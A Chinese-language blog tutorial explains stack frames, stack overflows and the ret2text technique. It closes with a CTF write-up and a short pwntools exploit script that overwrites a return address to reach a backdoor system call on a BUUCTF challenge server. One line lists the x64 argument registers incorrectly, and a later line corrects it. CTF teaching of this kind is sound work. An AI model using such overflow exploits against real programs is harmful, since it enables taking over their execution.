一、栈与栈帧
1、栈
(1)栈是一种典型的后进先出的数据结构,其操作主要有压栈(push)与出栈(pop)两种操作
(2)用于保存函数调用信息和局部变量
x86:函数参数保存在栈上,在函数返回地址的上方
x64:前六个政协或指针参数以此保存在RDI,RSI,RDX,R8,R9寄存器种,如果还有更多的参数的话才会保存在栈上
2、栈帧
二、C语言函数调用栈
1、编写源代码编译
(1)源代码
#include <stdio.h>
int test(int a, int b){
int c = a + b;
return c;
}
int main(int argc, char const *argv[])
{
int d = test(1, 2);
}
(2)编译
gcc -m32 -o test test.c
2 、分析程序:
0x1:进入函数前
① 首先查看程序的main函数的反汇编。前面三行的作用就是开辟一段栈帧,其大小就是0x10
此时的栈帧的布局为:
② 接着可以发现在调用func函数的时候,它首先传递了func函数的两个参数(从右往左)
注意:
32位程序和64位程序的传参方式不一样,32位程序是栈传参,而64位优先寄存器传参,寄存器总共有六个:rdi、rsi、rdx、rcx、r8、r9,当参数多于七个时才轮到栈传参
③ 传参以后就是执行call指令。call指令实际上包含两个指令
在这里就是先将0x08048400的地址保存起来,然后再跳转到call的后面的地址0x80483db
0x2 :进入函数时:
跳到fun函数里面,查看一下汇编代码:
重点讲一下前的三行,基本上每一个程序都有这三个指令,那么它们有什么作用呢?
push ebp: 将主调函数(main函数)的ebp保存下来,为了就是调用完这个函数以后以后跟调用之前的一样。
mov ebp, esp: 将ebp栈底抬上去,什么意思呢?就是之前的ebp的地址不是main函数的吗,而esp是栈顶,随着你的输入输出而改变的,mov指令就是将你的ebp放到最上面。
sub esp,10h: 为新栈开辟一段内存空间,其大小为0x10.
最终的结果:
0x3 :退出函数时:
主要就是两个命令leave和ret命令
其最终结果为:
三、栈溢出的原理
栈溢出指的是:程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。
栈溢出漏洞轻则可以使程序崩溃,重则可以使攻击者控制程序执行流程。
发生栈溢出的基本前提:
- 程序必须向栈上写入数据。
- 写入的数据大小没有被良好地控制。
四、ret2txt的原理
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
五、实例解析
以BUUCFT上面的
1. 程序分析
**64位程序,只开启了NX保护**。打开IDA,查看一下源程序
2. 代码分析
就一个write函数和rea函数。可以发现read函数(这里buf只有0x80字节,而read需要从buf中读取0x200个字节),存在溢出条件。然后找是否存在后门函数
找到了system,是简单的栈溢出,找到偏移量为0x80+8,然后覆盖返回地址就可以了
3. exp脚本
# coding: utf-8
from pwn import *
r = remote('node3.buuoj.cn',26896)
offset = 0x80 + 8
payload = offset*'a' + p64(0x400596)
r.sendline(payload)
r.interactive()
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com